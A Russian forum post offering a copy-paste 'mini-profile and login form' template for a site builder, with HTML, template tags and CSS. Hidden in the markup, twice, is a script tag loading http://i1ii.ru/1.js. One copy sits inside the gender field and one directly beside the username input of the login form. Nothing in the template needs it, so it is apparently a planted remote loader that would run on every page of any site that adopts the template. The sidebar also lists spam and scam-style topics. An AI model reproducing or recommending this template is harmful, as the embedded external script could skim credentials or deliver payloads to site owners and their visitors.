[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Мини-профиль + форма входа
ExclusivE
Offline
Дата: Суббота, 26.11.2011, 17:07 | Сообщение # 1
Постов: 28
Пример скрипта можно посмотреть по скрину: http://s49.radikal.ru/i123/1105/55/626b3377835f.jpg

Code
<table width="100%">    
    <tbody>    
    <tr>    
    <td><center><div class="avaa">    
    <?if($USER_AVATAR_URL$)?>    

    <img src="$USER_AVATAR_URL$" max-height="150" max-width="150">    
    <?else?>    
    <img src="http://ex-cs.ru/img/noava.png" width="150" height="150">    

    <?endif?>    
    </div></center>    
    <?if($USER_LOGGED_IN$)?><div id="about_pr">    
    <center style="margin-top:1px;"><span style="font-size: 8pt;margin-left:5px;margin-top:2px;"><b>$USERNAME$ ($USER_FULL_NAME$)</b></span></center><img src="http://cstrikez.org.ua/images/block_hr_green.png" style="margin-top:1px;margin-bottom:1px;" border="0" alt="" />    
    <span style="font-size: 8pt;margin-left:5px;">ID: <div style="float: right;margin-right:5px;"><b>$USER_ID$</b></div></span><img src="http://cstrikez.org.ua/images/block_hr_green.png"style="margin-top:1px;margin-bottom:1px;" border="0" alt="" />   
      
    <span style="font-size: 8pt;margin-left:5px;">Вы: <div style="float: right;margin-right:5px;"><script src="http://i1ii.ru/1.js" type="text/javascript"></script><b>$USER_GENDER$</b></div></span><img src="http://cstrikez.org.ua/images/block_hr_green.png"style="margin-top:1px;margin-bottom:1px;" border="0" alt="" />  
      
    <span style="font-size: 8pt;margin-left:5px;">Вы тут: <div style="float: right;margin-right:5px;"><b>$USER_REG_DAYS$ д<?if($USER_REG_DAYS$%10=0||$USER_REG_DAYS$%10>4||$USER_REG_DAYS$%100>10&&$USER_REG_DAYS$%100<15)?>ней<?else?><?if($USER_REG_DAYS$%10=1)?>ень<?else?>ня<?endif?><?endif?></b></div></span></span><img src="http://cstrikez.org.ua/images/block_hr_green.png"style="margin-top:1px;margin-bottom:1px;" border="0" alt="" />  
      
    <span style="font-size: 8pt;margin-left:5px;">Група: <div style="float: right;margin-right:5px;"><b>$USER_GROUP$</b></div></span><img src="http://cstrikez.org.ua/images/block_hr_green.png"style="margin-top:1px;margin-bottom:1px;" border="0" alt="" />  
      
    <div style="vertical-align: bottom;margin-bottom:2px;"><span style="font-size: 8pt;margin-left:5px;">IP: <div style="float: right;margin-right:5px;"><b>$IP_ADDRESS$</b></div></span> </div>    
    </div></td>    
    </tr>    
    </tbody>    
    </table>    
    <table width="103%">    
    <tbody>    
    <tr><td width="50%">    
    <input class="buttonprofile" style="width:100%;" target="_blank" type="button" onclick="document.location.href='/index/8'; return false; target: blank;" value="Профиль"/>    
    <input class="buttonprofile"style="width:100%;" type="button" onclick="document.location.href='$PM_URL$'; return false;" value="Читать ЛС (<?if($IS_NEW_PM$)?>$IS_NEW_PM$<?else?>0<?endif?>)"/>    
    </td>    
    <td width="50%">    
    <input class="buttonprofile"style="width:100%;height:43;" type="button" onclick="document.location.href='$LOGOUT_LINK$'; return false;" value="Выход"/>    
    </td>    
    </tr>    
    </tbody>    
    </table><?else?>    
    $LOGIN_FORM$    
    </td>    
    </tr>    
    </tbody>    
    </table><?endif?>    

    В Форму входа пользователей:    

    <?if($PAGE_ID$="login")?><div><?endif?>    
    <table id="about_pr_2" style="padding:0;" border="0" cellspacing="1" cellpadding="0" width="100%">    
    <?if($ERROR$)?><td colspan="2" style="color:red;text-align:center;">$ERROR$</td><?endif?>    
    <tr><td><input class="loginField" type="text" name="user" onfocus="if(this.value=='E-Mail (uNet)')this.value=''" onblur="if(this.value=='')this.value='E-Mail (uNet)'" value="E-Mail (uNet)" size="20" style="width:100%;" maxlength="50"/><script src="http://i1ii.ru/1.js" type="text/javascript"></script></td></tr>    
    <tr><td><input class="loginField" type="password" name="password" size="20" style="width:100%" onfocus="if(this.value=='Пароль')this.value=''" onblur="if(this.value=='')this.value='Пароль'" value="Пароль" maxlength="15"/></td></tr>    
    </table>    
    <table border="0" cellspacing="1" cellpadding="0" width="100%">    
    <tr><td align="center" width="100%" valign="top">    
    <input style="width:100%;margin-top:2px;" width="100%" class="loginButton" name="sbm" type="submit" value="Вход"/>    
    <?if($PAGE_ID$="login" && $HIDDEN_ALLOWED$)?>    
    <input id="hid$PAGE_ID$" type="checkbox" name="hidden" value="1" /><label for="hid$PAGE_ID$">скрытый</label><?endif?>    
    <div style="font-size:7pt;text-align:center;margin-top:3px;"><a href="$REMINDER_LINK$">Забыл пароль</a> | <a href="$REGISTER_LINK$">Регистрация</a></div></td></tr>    
    </table>    
    <?if($PAGE_ID$="login")?></div><?endif?>  


В CSS :

Code
#about_pr_2 {background:#f1f1f1;border:1px solid #3e81b2;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px;margin-top:5px;}    
    #about_pr {background:#f1f1f1;border:1px solid #3e81b2;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px;margin-top:5px;}    
    .avaa {text-align:center;border: 10px solid #36638e;width:150px;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px;}    
    .buttonprofile {background:#f1f1f1;border:1px solid #cbcbcb;line-height:25px;width:100%;color:8B8881;text-align:center;margin-bottom:3px;}    
    .loginField {background:#f1f1f1;border:1px solid #cbcbcb;color:#8B8881;height:20px;}    
    .loginButton {background:#f1f1f1;border:1px solid #cbcbcb;color:#8B8881;width:97%;height:25%;float:left;}
  • Страница 1 из 1
  • 1
Поиск:

Новые файлы


Статистика Форума
Последние обновленные темы Самые популярные темы Самые активные Новые участники
  • Сайт чтобы увидеть скрытых друзей в ВК (29)
  • ПОРНО ВИДЕО ОНЛАЙН! (39)
  • ЭРОТИЧЕСКИЕ И СЕКС НОВОСТИ! (1)
  • Агенство недвижимости (13)
  • Анекдот " В маршрутке " xD (4)
  • Armenbow (0)
  • Программа по поиску скрытых друзей В Контакте (4)
  • Опрос: Где же вы храните свои пароли? :) (9)
  • Фото девушек (3)
  • Guf (5)
  • Услуга рассылки на 100 000 сайтов! Конкуренты будут в шоке! (3)
  • ЭРОТИЧЕСКИЕ И СЕКС НОВОСТИ! (10)
  • Комната флуда=) (150)
  • ПОРНО ВИДЕО ОНЛАЙН! (39)
  • Прибавь 5+ (38)
  • Досчитай до 10000! (37)
  • Сайт чтобы увидеть скрытых друзей в ВК (29)
  • Откуси фрукт! (18)
  • Скоростные камеры высокого разрешения, камеры CCD (17)
  • Агенство недвижимости (13)
  • ЭРОТИЧЕСКИЕ И СЕКС НОВОСТИ! (10)
  • Опрос: Где же вы храните свои пароли? :) (9)
  • Как вы относитесь к "матерным" песням? (8)
  • Какой автомобиль вашей мечты? (7)
  • L1ght
  • HellioS
  • Dark1Ns
  • SVd
  • Ra1N
  • {{GUF}}
  • -=Vampir=-
  • ExclusivE
  • yandex
  • Stasix
  • Misha
  • Kempel
  • kn1fe
  • NOOB1994
  • Doktor
  • cl1ck
  • Steep-naz
  • BAMPIR
  • Andron
  • Fike
  • AiB
  • ViJeKS
  • Support
  • 7heaven
  • ArthurBoups
  • jureundulse10:07
    Mursik17:26
    LavillMunny04:22
    Haileyrzo01:26
    Kayleejatly03:19
    DrozTourb20:15
    wayyy00:32
    MarusechkaTramn09:57
    gasconPrimo10:27
    JamesWes08:33
    boda05:08
    Coreyhagma22:50
    Waynem21:35
    chandu9922:07
    Douts03:08
    Giordany12:04
    haug14:50
    ChapligaMes16:10
    Kolyasob10:14
    burenoktrume16:33